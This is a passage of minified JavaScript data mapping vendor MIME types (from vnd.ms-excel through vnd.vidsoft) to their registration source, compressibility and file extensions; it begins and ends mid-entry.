!1,extensions:["xls","xlm","xla","xlc","xlt","xlw"]},"application/vnd.ms-excel.addin.macroenabled.12":{source:"iana",extensions:["xlam"]},"application/vnd.ms-excel.sheet.binary.macroenabled.12":{source:"iana",extensions:["xlsb"]},"application/vnd.ms-excel.sheet.macroenabled.12":{source:"iana",extensions:["xlsm"]},"application/vnd.ms-excel.template.macroenabled.12":{source:"iana",extensions:["xltm"]},"application/vnd.ms-fontobject":{source:"iana",compressible:!0,extensions:["eot"]},"application/vnd.ms-htmlhelp":{source:"iana",extensions:["chm"]},"application/vnd.ms-ims":{source:"iana",extensions:["ims"]},"application/vnd.ms-lrm":{source:"iana",extensions:["lrm"]},"application/vnd.ms-office.activex+xml":{source:"iana",compressible:!0},"application/vnd.ms-officetheme":{source:"iana",extensions:["thmx"]},"application/vnd.ms-opentype":{source:"apache",compressible:!0},"application/vnd.ms-outlook":{compressible:!1,extensions:["msg"]},"application/vnd.ms-package.obfuscated-opentype":{source:"apache"},"application/vnd.ms-pki.seccat":{source:"apache",extensions:["cat"]},"application/vnd.ms-pki.stl":{source:"apache",extensions:["stl"]},"application/vnd.ms-playready.initiator+xml":{source:"iana",compressible:!0},"application/vnd.ms-powerpoint":{source:"iana",compressible:!1,extensions:["ppt","pps","pot"]},"application/vnd.ms-powerpoint.addin.macroenabled.12":{source:"iana",extensions:["ppam"]},"application/vnd.ms-powerpoint.presentation.macroenabled.12":{source:"iana",extensions:["pptm"]},"application/vnd.ms-powerpoint.slide.macroenabled.12":{source:"iana",extensions:["sldm"]},"application/vnd.ms-powerpoint.slideshow.macroenabled.12":{source:"iana",extensions:["ppsm"]},"application/vnd.ms-powerpoint.template.macroenabled.12":{source:"iana",extensions:["potm"]},"application/vnd.ms-printdevicecapabilities+xml":{source:"iana",compressible:!0},"application/vnd.ms-printing.printticket+xml":{source:"apache",compressible:!0},"application/vnd.ms-printschematicket+xml":{source:"iana",compressible:!0},"application/vnd.ms-project":{source:"iana",extensions:["mpp","mpt"]},"application/vnd.ms-tnef":{source:"iana"},"application/vnd.ms-windows.devicepairing":{source:"iana"},"application/vnd.ms-windows.nwprinting.oob":{source:"iana"},"application/vnd.ms-windows.printerpairing":{source:"iana"},"application/vnd.ms-windows.wsd.oob":{source:"iana"},"application/vnd.ms-wmdrm.lic-chlg-req":{source:"iana"},"application/vnd.ms-wmdrm.lic-resp":{source:"iana"},"application/vnd.ms-wmdrm.meter-chlg-req":{source:"iana"},"application/vnd.ms-wmdrm.meter-resp":{source:"iana"},"application/vnd.ms-word.document.macroenabled.12":{source:"iana",extensions:["docm"]},"application/vnd.ms-word.template.macroenabled.12":{source:"iana",extensions:["dotm"]},"application/vnd.ms-works":{source:"iana",extensions:["wps","wks","wcm","wdb"]},"application/vnd.ms-wpl":{source:"iana",extensions:["wpl"]},"application/vnd.ms-xpsdocument":{source:"iana",compressible:!1,extensions:["xps"]},"application/vnd.msa-disk-image":{source:"iana"},"application/vnd.mseq":{source:"iana",extensions:["mseq"]},"application/vnd.msign":{source:"iana"},"application/vnd.multiad.creator":{source:"iana"},"application/vnd.multiad.creator.cif":{source:"iana"},"application/vnd.music-niff":{source:"iana"},"application/vnd.musician":{source:"iana",extensions:["mus"]},"application/vnd.muvee.style":{source:"iana",extensions:["msty"]},"application/vnd.mynfc":{source:"iana",extensions:["taglet"]},"application/vnd.nacamar.ybrid+json":{source:"iana",compressible:!0},"application/vnd.ncd.control":{source:"iana"},"application/vnd.ncd.reference":{source:"iana"},"application/vnd.nearst.inv+json":{source:"iana",compressible:!0},"application/vnd.nebumind.line":{source:"iana"},"application/vnd.nervana":{source:"iana"},"application/vnd.netfpx":{source:"iana"},"application/vnd.neurolanguage.nlu":{source:"iana",extensions:["nlu"]},"application/vnd.nimn":{source:"iana"},"application/vnd.nintendo.nitro.rom":{source:"iana"},"application/vnd.nintendo.snes.rom":{source:"iana"},"application/vnd.nitf":{source:"iana",extensions:["ntf","nitf"]},"application/vnd.noblenet-directory":{source:"iana",extensions:["nnd"]},"application/vnd.noblenet-sealer":{source:"iana",extensions:["nns"]},"application/vnd.noblenet-web":{source:"iana",extensions:["nnw"]},"application/vnd.nokia.catalogs":{source:"iana"},"application/vnd.nokia.conml+wbxml":{source:"iana"},"application/vnd.nokia.conml+xml":{source:"iana",compressible:!0},"application/vnd.nokia.iptv.config+xml":{source:"iana",compressible:!0},"application/vnd.nokia.isds-radio-presets":{source:"iana"},"application/vnd.nokia.landmark+wbxml":{source:"iana"},"application/vnd.nokia.landmark+xml":{source:"iana",compressible:!0},"application/vnd.nokia.landmarkcollection+xml":{source:"iana",compressible:!0},"application/vnd.nokia.n-gage.ac+xml":{source:"iana",compressible:!0,extensions:["ac"]},"application/vnd.nokia.n-gage.data":{source:"iana",extensions:["ngdat"]},"application/vnd.nokia.n-gage.symbian.install":{source:"iana",extensions:["n-gage"]},"application/vnd.nokia.ncd":{source:"iana"},"application/vnd.nokia.pcd+wbxml":{source:"iana"},"application/vnd.nokia.pcd+xml":{source:"iana",compressible:!0},"application/vnd.nokia.radio-preset":{source:"iana",extensions:["rpst"]},"application/vnd.nokia.radio-presets":{source:"iana",extensions:["rpss"]},"application/vnd.novadigm.edm":{source:"iana",extensions:["edm"]},"application/vnd.novadigm.edx":{source:"iana",extensions:["edx"]},"application/vnd.novadigm.ext":{source:"iana",extensions:["ext"]},"application/vnd.ntt-local.content-share":{source:"iana"},"application/vnd.ntt-local.file-transfer":{source:"iana"},"application/vnd.ntt-local.ogw_remote-access":{source:"iana"},"application/vnd.ntt-local.sip-ta_remote":{source:"iana"},"application/vnd.ntt-local.sip-ta_tcp_stream":{source:"iana"},"application/vnd.oasis.opendocument.chart":{source:"iana",extensions:["odc"]},"application/vnd.oasis.opendocument.chart-template":{source:"iana",extensions:["otc"]},"application/vnd.oasis.opendocument.database":{source:"iana",extensions:["odb"]},"application/vnd.oasis.opendocument.formula":{source:"iana",extensions:["odf"]},"application/vnd.oasis.opendocument.formula-template":{source:"iana",extensions:["odft"]},"application/vnd.oasis.opendocument.graphics":{source:"iana",compressible:!1,extensions:["odg"]},"application/vnd.oasis.opendocument.graphics-template":{source:"iana",extensions:["otg"]},"application/vnd.oasis.opendocument.image":{source:"iana",extensions:["odi"]},"application/vnd.oasis.opendocument.image-template":{source:"iana",extensions:["oti"]},"application/vnd.oasis.opendocument.presentation":{source:"iana",compressible:!1,extensions:["odp"]},"application/vnd.oasis.opendocument.presentation-template":{source:"iana",extensions:["otp"]},"application/vnd.oasis.opendocument.spreadsheet":{source:"iana",compressible:!1,extensions:["ods"]},"application/vnd.oasis.opendocument.spreadsheet-template":{source:"iana",extensions:["ots"]},"application/vnd.oasis.opendocument.text":{source:"iana",compressible:!1,extensions:["odt"]},"application/vnd.oasis.opendocument.text-master":{source:"iana",extensions:["odm"]},"application/vnd.oasis.opendocument.text-template":{source:"iana",extensions:["ott"]},"application/vnd.oasis.opendocument.text-web":{source:"iana",extensions:["oth"]},"application/vnd.obn":{source:"iana"},"application/vnd.ocf+cbor":{source:"iana"},"application/vnd.oci.image.manifest.v1+json":{source:"iana",compressible:!0},"application/vnd.oftn.l10n+json":{source:"iana",compressible:!0},"application/vnd.oipf.contentaccessdownload+xml":{source:"iana",compressible:!0},"application/vnd.oipf.contentaccessstreaming+xml":{source:"iana",compressible:!0},"application/vnd.oipf.cspg-hexbinary":{source:"iana"},"application/vnd.oipf.dae.svg+xml":{source:"iana",compressible:!0},"application/vnd.oipf.dae.xhtml+xml":{source:"iana",compressible:!0},"application/vnd.oipf.mippvcontrolmessage+xml":{source:"iana",compressible:!0},"application/vnd.oipf.pae.gem":{source:"iana"},"application/vnd.oipf.spdiscovery+xml":{source:"iana",compressible:!0},"application/vnd.oipf.spdlist+xml":{source:"iana",compressible:!0},"application/vnd.oipf.ueprofile+xml":{source:"iana",compressible:!0},"application/vnd.oipf.userprofile+xml":{source:"iana",compressible:!0},"application/vnd.olpc-sugar":{source:"iana",extensions:["xo"]},"application/vnd.oma-scws-config":{source:"iana"},"application/vnd.oma-scws-http-request":{source:"iana"},"application/vnd.oma-scws-http-response":{source:"iana"},"application/vnd.oma.bcast.associated-procedure-parameter+xml":{source:"iana",compressible:!0},"application/vnd.oma.bcast.drm-trigger+xml":{source:"iana",compressible:!0},"application/vnd.oma.bcast.imd+xml":{source:"iana",compressible:!0},"application/vnd.oma.bcast.ltkm":{source:"iana"},"application/vnd.oma.bcast.notification+xml":{source:"iana",compressible:!0},"application/vnd.oma.bcast.provisioningtrigger":{source:"iana"},"application/vnd.oma.bcast.sgboot":{source:"iana"},"application/vnd.oma.bcast.sgdd+xml":{source:"iana",compressible:!0},"application/vnd.oma.bcast.sgdu":{source:"iana"},"application/vnd.oma.bcast.simple-symbol-container":{source:"iana"},"application/vnd.oma.bcast.smartcard-trigger+xml":{source:"iana",compressible:!0},"application/vnd.oma.bcast.sprov+xml":{source:"iana",compressible:!0},"application/vnd.oma.bcast.stkm":{source:"iana"},"application/vnd.oma.cab-address-book+xml":{source:"iana",compressible:!0},"application/vnd.oma.cab-feature-handler+xml":{source:"iana",compressible:!0},"application/vnd.oma.cab-pcc+xml":{source:"iana",compressible:!0},"application/vnd.oma.cab-subs-invite+xml":{source:"iana",compressible:!0},"application/vnd.oma.cab-user-prefs+xml":{source:"iana",compressible:!0},"application/vnd.oma.dcd":{source:"iana"},"application/vnd.oma.dcdc":{source:"iana"},"application/vnd.oma.dd2+xml":{source:"iana",compressible:!0,extensions:["dd2"]},"application/vnd.oma.drm.risd+xml":{source:"iana",compressible:!0},"application/vnd.oma.group-usage-list+xml":{source:"iana",compressible:!0},"application/vnd.oma.lwm2m+cbor":{source:"iana"},"application/vnd.oma.lwm2m+json":{source:"iana",compressible:!0},"application/vnd.oma.lwm2m+tlv":{source:"iana"},"application/vnd.oma.pal+xml":{source:"iana",compressible:!0},"application/vnd.oma.poc.detailed-progress-report+xml":{source:"iana",compressible:!0},"application/vnd.oma.poc.final-report+xml":{source:"iana",compressible:!0},"application/vnd.oma.poc.groups+xml":{source:"iana",compressible:!0},"application/vnd.oma.poc.invocation-descriptor+xml":{source:"iana",compressible:!0},"application/vnd.oma.poc.optimized-progress-report+xml":{source:"iana",compressible:!0},"application/vnd.oma.push":{source:"iana"},"application/vnd.oma.scidm.messages+xml":{source:"iana",compressible:!0},"application/vnd.oma.xcap-directory+xml":{source:"iana",compressible:!0},"application/vnd.omads-email+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/vnd.omads-file+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/vnd.omads-folder+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/vnd.omaloc-supl-init":{source:"iana"},"application/vnd.onepager":{source:"iana"},"application/vnd.onepagertamp":{source:"iana"},"application/vnd.onepagertamx":{source:"iana"},"application/vnd.onepagertat":{source:"iana"},"application/vnd.onepagertatp":{source:"iana"},"application/vnd.onepagertatx":{source:"iana"},"application/vnd.openblox.game+xml":{source:"iana",compressible:!0,extensions:["obgx"]},"application/vnd.openblox.game-binary":{source:"iana"},"application/vnd.openeye.oeb":{source:"iana"},"application/vnd.openofficeorg.extension":{source:"apache",extensions:["oxt"]},"application/vnd.openstreetmap.data+xml":{source:"iana",compressible:!0,extensions:["osm"]},"application/vnd.opentimestamps.ots":{source:"iana"},"application/vnd.openxmlformats-officedocument.custom-properties+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.customxmlproperties+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.drawing+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.drawingml.chart+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.drawingml.chartshapes+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.drawingml.diagramcolors+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.drawingml.diagramdata+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.drawingml.diagramlayout+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.drawingml.diagramstyle+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.extended-properties+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.commentauthors+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.comments+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.handoutmaster+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.notesmaster+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.notesslide+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.presentation":{source:"iana",compressible:!1,extensions:["pptx"]},"application/vnd.openxmlformats-officedocument.presentationml.presentation.main+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.presprops+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.slide":{source:"iana",extensions:["sldx"]},"application/vnd.openxmlformats-officedocument.presentationml.slide+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.slidelayout+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.slidemaster+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.slideshow":{source:"iana",extensions:["ppsx"]},"application/vnd.openxmlformats-officedocument.presentationml.slideshow.main+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.slideupdateinfo+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.tablestyles+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.tags+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.template":{source:"iana",extensions:["potx"]},"application/vnd.openxmlformats-officedocument.presentationml.template.main+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.viewprops+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.calcchain+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.chartsheet+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.comments+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.connections+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.dialogsheet+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.externallink+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.pivotcachedefinition+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.pivotcacherecords+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.pivottable+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.querytable+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.revisionheaders+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.revisionlog+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.sharedstrings+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet":{source:"iana",compressible:!1,extensions:["xlsx"]},"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.sheetmetadata+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.table+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.tablesinglecells+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.template":{source:"iana",extensions:["xltx"]},"application/vnd.openxmlformats-officedocument.spreadsheetml.template.main+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.usernames+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.volatiledependencies+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.theme+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.themeoverride+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.vmldrawing":{source:"iana"},"application/vnd.openxmlformats-officedocument.wordprocessingml.comments+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.wordprocessingml.document":{source:"iana",compressible:!1,extensions:["docx"]},"application/vnd.openxmlformats-officedocument.wordprocessingml.document.glossary+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.wordprocessingml.endnotes+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.wordprocessingml.fonttable+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.wordprocessingml.footer+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.wordprocessingml.footnotes+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.wordprocessingml.numbering+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.wordprocessingml.settings+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.wordprocessingml.styles+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.wordprocessingml.template":{source:"iana",extensions:["dotx"]},"application/vnd.openxmlformats-officedocument.wordprocessingml.template.main+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.wordprocessingml.websettings+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-package.core-properties+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-package.digital-signature-xmlsignature+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-package.relationships+xml":{source:"iana",compressible:!0},"application/vnd.oracle.resource+json":{source:"iana",compressible:!0},"application/vnd.orange.indata":{source:"iana"},"application/vnd.osa.netdeploy":{source:"iana"},"application/vnd.osgeo.mapguide.package":{source:"iana",extensions:["mgp"]},"application/vnd.osgi.bundle":{source:"iana"},"application/vnd.osgi.dp":{source:"iana",extensions:["dp"]},"application/vnd.osgi.subsystem":{source:"iana",extensions:["esa"]},"application/vnd.otps.ct-kip+xml":{source:"iana",compressible:!0},"application/vnd.oxli.countgraph":{source:"iana"},"application/vnd.pagerduty+json":{source:"iana",compressible:!0},"application/vnd.palm":{source:"iana",extensions:["pdb","pqa","oprc"]},"application/vnd.panoply":{source:"iana"},"application/vnd.paos.xml":{source:"iana"},"application/vnd.patentdive":{source:"iana"},"application/vnd.patientecommsdoc":{source:"iana"},"application/vnd.pawaafile":{source:"iana",extensions:["paw"]},"application/vnd.pcos":{source:"iana"},"application/vnd.pg.format":{source:"iana",extensions:["str"]},"application/vnd.pg.osasli":{source:"iana",extensions:["ei6"]},"application/vnd.piaccess.application-licence":{source:"iana"},"application/vnd.picsel":{source:"iana",extensions:["efif"]},"application/vnd.pmi.widget":{source:"iana",extensions:["wg"]},"application/vnd.poc.group-advertisement+xml":{source:"iana",compressible:!0},"application/vnd.pocketlearn":{source:"iana",extensions:["plf"]},"application/vnd.powerbuilder6":{source:"iana",extensions:["pbd"]},"application/vnd.powerbuilder6-s":{source:"iana"},"application/vnd.powerbuilder7":{source:"iana"},"application/vnd.powerbuilder7-s":{source:"iana"},"application/vnd.powerbuilder75":{source:"iana"},"application/vnd.powerbuilder75-s":{source:"iana"},"application/vnd.preminet":{source:"iana"},"application/vnd.previewsystems.box":{source:"iana",extensions:["box"]},"application/vnd.proteus.magazine":{source:"iana",extensions:["mgz"]},"application/vnd.psfs":{source:"iana"},"application/vnd.publishare-delta-tree":{source:"iana",extensions:["qps"]},"application/vnd.pvi.ptid1":{source:"iana",extensions:["ptid"]},"application/vnd.pwg-multiplexed":{source:"iana"},"application/vnd.pwg-xhtml-print+xml":{source:"iana",compressible:!0},"application/vnd.qualcomm.brew-app-res":{source:"iana"},"application/vnd.quarantainenet":{source:"iana"},"application/vnd.quark.quarkxpress":{source:"iana",extensions:["qxd","qxt","qwd","qwt","qxl","qxb"]},"application/vnd.quobject-quoxdocument":{source:"iana"},"application/vnd.radisys.moml+xml":{source:"iana",compressible:!0},"application/vnd.radisys.msml+xml":{source:"iana",compressible:!0},"application/vnd.radisys.msml-audit+xml":{source:"iana",compressible:!0},"application/vnd.radisys.msml-audit-conf+xml":{source:"iana",compressible:!0},"application/vnd.radisys.msml-audit-conn+xml":{source:"iana",compressible:!0},"application/vnd.radisys.msml-audit-dialog+xml":{source:"iana",compressible:!0},"application/vnd.radisys.msml-audit-stream+xml":{source:"iana",compressible:!0},"application/vnd.radisys.msml-conf+xml":{source:"iana",compressible:!0},"application/vnd.radisys.msml-dialog+xml":{source:"iana",compressible:!0},"application/vnd.radisys.msml-dialog-base+xml":{source:"iana",compressible:!0},"application/vnd.radisys.msml-dialog-fax-detect+xml":{source:"iana",compressible:!0},"application/vnd.radisys.msml-dialog-fax-sendrecv+xml":{source:"iana",compressible:!0},"application/vnd.radisys.msml-dialog-group+xml":{source:"iana",compressible:!0},"application/vnd.radisys.msml-dialog-speech+xml":{source:"iana",compressible:!0},"application/vnd.radisys.msml-dialog-transform+xml":{source:"iana",compressible:!0},"application/vnd.rainstor.data":{source:"iana"},"application/vnd.rapid":{source:"iana"},"application/vnd.rar":{source:"iana",extensions:["rar"]},"application/vnd.realvnc.bed":{source:"iana",extensions:["bed"]},"application/vnd.recordare.musicxml":{source:"iana",extensions:["mxl"]},"application/vnd.recordare.musicxml+xml":{source:"iana",compressible:!0,extensions:["musicxml"]},"application/vnd.renlearn.rlprint":{source:"iana"},"application/vnd.resilient.logic":{source:"iana"},"application/vnd.restful+json":{source:"iana",compressible:!0},"application/vnd.rig.cryptonote":{source:"iana",extensions:["cryptonote"]},"application/vnd.rim.cod":{source:"apache",extensions:["cod"]},"application/vnd.rn-realmedia":{source:"apache",extensions:["rm"]},"application/vnd.rn-realmedia-vbr":{source:"apache",extensions:["rmvb"]},"application/vnd.route66.link66+xml":{source:"iana",compressible:!0,extensions:["link66"]},"application/vnd.rs-274x":{source:"iana"},"application/vnd.ruckus.download":{source:"iana"},"application/vnd.s3sms":{source:"iana"},"application/vnd.sailingtracker.track":{source:"iana",extensions:["st"]},"application/vnd.sar":{source:"iana"},"application/vnd.sbm.cid":{source:"iana"},"application/vnd.sbm.mid2":{source:"iana"},"application/vnd.scribus":{source:"iana"},"application/vnd.sealed.3df":{source:"iana"},"application/vnd.sealed.csf":{source:"iana"},"application/vnd.sealed.doc":{source:"iana"},"application/vnd.sealed.eml":{source:"iana"},"application/vnd.sealed.mht":{source:"iana"},"application/vnd.sealed.net":{source:"iana"},"application/vnd.sealed.ppt":{source:"iana"},"application/vnd.sealed.tiff":{source:"iana"},"application/vnd.sealed.xls":{source:"iana"},"application/vnd.sealedmedia.softseal.html":{source:"iana"},"application/vnd.sealedmedia.softseal.pdf":{source:"iana"},"application/vnd.seemail":{source:"iana",extensions:["see"]},"application/vnd.seis+json":{source:"iana",compressible:!0},"application/vnd.sema":{source:"iana",extensions:["sema"]},"application/vnd.semd":{source:"iana",extensions:["semd"]},"application/vnd.semf":{source:"iana",extensions:["semf"]},"application/vnd.shade-save-file":{source:"iana"},"application/vnd.shana.informed.formdata":{source:"iana",extensions:["ifm"]},"application/vnd.shana.informed.formtemplate":{source:"iana",extensions:["itp"]},"application/vnd.shana.informed.interchange":{source:"iana",extensions:["iif"]},"application/vnd.shana.informed.package":{source:"iana",extensions:["ipk"]},"application/vnd.shootproof+json":{source:"iana",compressible:!0},"application/vnd.shopkick+json":{source:"iana",compressible:!0},"application/vnd.shp":{source:"iana"},"application/vnd.shx":{source:"iana"},"application/vnd.sigrok.session":{source:"iana"},"application/vnd.simtech-mindmapper":{source:"iana",extensions:["twd","twds"]},"application/vnd.siren+json":{source:"iana",compressible:!0},"application/vnd.smaf":{source:"iana",extensions:["mmf"]},"application/vnd.smart.notebook":{source:"iana"},"application/vnd.smart.teacher":{source:"iana",extensions:["teacher"]},"application/vnd.snesdev-page-table":{source:"iana"},"application/vnd.software602.filler.form+xml":{source:"iana",compressible:!0,extensions:["fo"]},"application/vnd.software602.filler.form-xml-zip":{source:"iana"},"application/vnd.solent.sdkm+xml":{source:"iana",compressible:!0,extensions:["sdkm","sdkd"]},"application/vnd.spotfire.dxp":{source:"iana",extensions:["dxp"]},"application/vnd.spotfire.sfs":{source:"iana",extensions:["sfs"]},"application/vnd.sqlite3":{source:"iana"},"application/vnd.sss-cod":{source:"iana"},"application/vnd.sss-dtf":{source:"iana"},"application/vnd.sss-ntf":{source:"iana"},"application/vnd.stardivision.calc":{source:"apache",extensions:["sdc"]},"application/vnd.stardivision.draw":{source:"apache",extensions:["sda"]},"application/vnd.stardivision.impress":{source:"apache",extensions:["sdd"]},"application/vnd.stardivision.math":{source:"apache",extensions:["smf"]},"application/vnd.stardivision.writer":{source:"apache",extensions:["sdw","vor"]},"application/vnd.stardivision.writer-global":{source:"apache",extensions:["sgl"]},"application/vnd.stepmania.package":{source:"iana",extensions:["smzip"]},"application/vnd.stepmania.stepchart":{source:"iana",extensions:["sm"]},"application/vnd.street-stream":{source:"iana"},"application/vnd.sun.wadl+xml":{source:"iana",compressible:!0,extensions:["wadl"]},"application/vnd.sun.xml.calc":{source:"apache",extensions:["sxc"]},"application/vnd.sun.xml.calc.template":{source:"apache",extensions:["stc"]},"application/vnd.sun.xml.draw":{source:"apache",extensions:["sxd"]},"application/vnd.sun.xml.draw.template":{source:"apache",extensions:["std"]},"application/vnd.sun.xml.impress":{source:"apache",extensions:["sxi"]},"application/vnd.sun.xml.impress.template":{source:"apache",extensions:["sti"]},"application/vnd.sun.xml.math":{source:"apache",extensions:["sxm"]},"application/vnd.sun.xml.writer":{source:"apache",extensions:["sxw"]},"application/vnd.sun.xml.writer.global":{source:"apache",extensions:["sxg"]},"application/vnd.sun.xml.writer.template":{source:"apache",extensions:["stw"]},"application/vnd.sus-calendar":{source:"iana",extensions:["sus","susp"]},"application/vnd.svd":{source:"iana",extensions:["svd"]},"application/vnd.swiftview-ics":{source:"iana"},"application/vnd.sycle+xml":{source:"iana",compressible:!0},"application/vnd.syft+json":{source:"iana",compressible:!0},"application/vnd.symbian.install":{source:"apache",extensions:["sis","sisx"]},"application/vnd.syncml+xml":{source:"iana",charset:"UTF-8",compressible:!0,extensions:["xsm"]},"application/vnd.syncml.dm+wbxml":{source:"iana",charset:"UTF-8",extensions:["bdm"]},"application/vnd.syncml.dm+xml":{source:"iana",charset:"UTF-8",compressible:!0,extensions:["xdm"]},"application/vnd.syncml.dm.notification":{source:"iana"},"application/vnd.syncml.dmddf+wbxml":{source:"iana"},"application/vnd.syncml.dmddf+xml":{source:"iana",charset:"UTF-8",compressible:!0,extensions:["ddf"]},"application/vnd.syncml.dmtnds+wbxml":{source:"iana"},"application/vnd.syncml.dmtnds+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/vnd.syncml.ds.notification":{source:"iana"},"application/vnd.tableschema+json":{source:"iana",compressible:!0},"application/vnd.tao.intent-module-archive":{source:"iana",extensions:["tao"]},"application/vnd.tcpdump.pcap":{source:"iana",extensions:["pcap","cap","dmp"]},"application/vnd.think-cell.ppttc+json":{source:"iana",compressible:!0},"application/vnd.tmd.mediaflex.api+xml":{source:"iana",compressible:!0},"application/vnd.tml":{source:"iana"},"application/vnd.tmobile-livetv":{source:"iana",extensions:["tmo"]},"application/vnd.tri.onesource":{source:"iana"},"application/vnd.trid.tpt":{source:"iana",extensions:["tpt"]},"application/vnd.triscape.mxs":{source:"iana",extensions:["mxs"]},"application/vnd.trueapp":{source:"iana",extensions:["tra"]},"application/vnd.truedoc":{source:"iana"},"application/vnd.ubisoft.webplayer":{source:"iana"},"application/vnd.ufdl":{source:"iana",extensions:["ufd","ufdl"]},"application/vnd.uiq.theme":{source:"iana",extensions:["utz"]},"application/vnd.umajin":{source:"iana",extensions:["umj"]},"application/vnd.unity":{source:"iana",extensions:["unityweb"]},"application/vnd.uoml+xml":{source:"iana",compressible:!0,extensions:["uoml"]},"application/vnd.uplanet.alert":{source:"iana"},"application/vnd.uplanet.alert-wbxml":{source:"iana"},"application/vnd.uplanet.bearer-choice":{source:"iana"},"application/vnd.uplanet.bearer-choice-wbxml":{source:"iana"},"application/vnd.uplanet.cacheop":{source:"iana"},"application/vnd.uplanet.cacheop-wbxml":{source:"iana"},"application/vnd.uplanet.channel":{source:"iana"},"application/vnd.uplanet.channel-wbxml":{source:"iana"},"application/vnd.uplanet.list":{source:"iana"},"application/vnd.uplanet.list-wbxml":{source:"iana"},"application/vnd.uplanet.listcmd":{source:"iana"},"application/vnd.uplanet.listcmd-wbxml":{source:"iana"},"application/vnd.uplanet.signal":{source:"iana"},"application/vnd.uri-map":{source:"iana"},"application/vnd.valve.source.material":{source:"iana"},"application/vnd.vcx":{source:"iana",extensions:["vcx"]},"application/vnd.vd-study":{source:"iana"},"application/vnd.vectorworks":{source:"iana"},"application/vnd.vel+json":{source:"iana",compressible:!0},"application/vnd.verimatrix.vcas":{source:"iana"},"application/vnd.veritone.aion+json":{source:"iana",compressible:!0},"application/vnd.veryant.thin":{source:"iana"},"application/vnd.ves.encrypted":{source:"iana"},"application/vnd.vidsoft.vidconference":{source:"iana"},"application/vn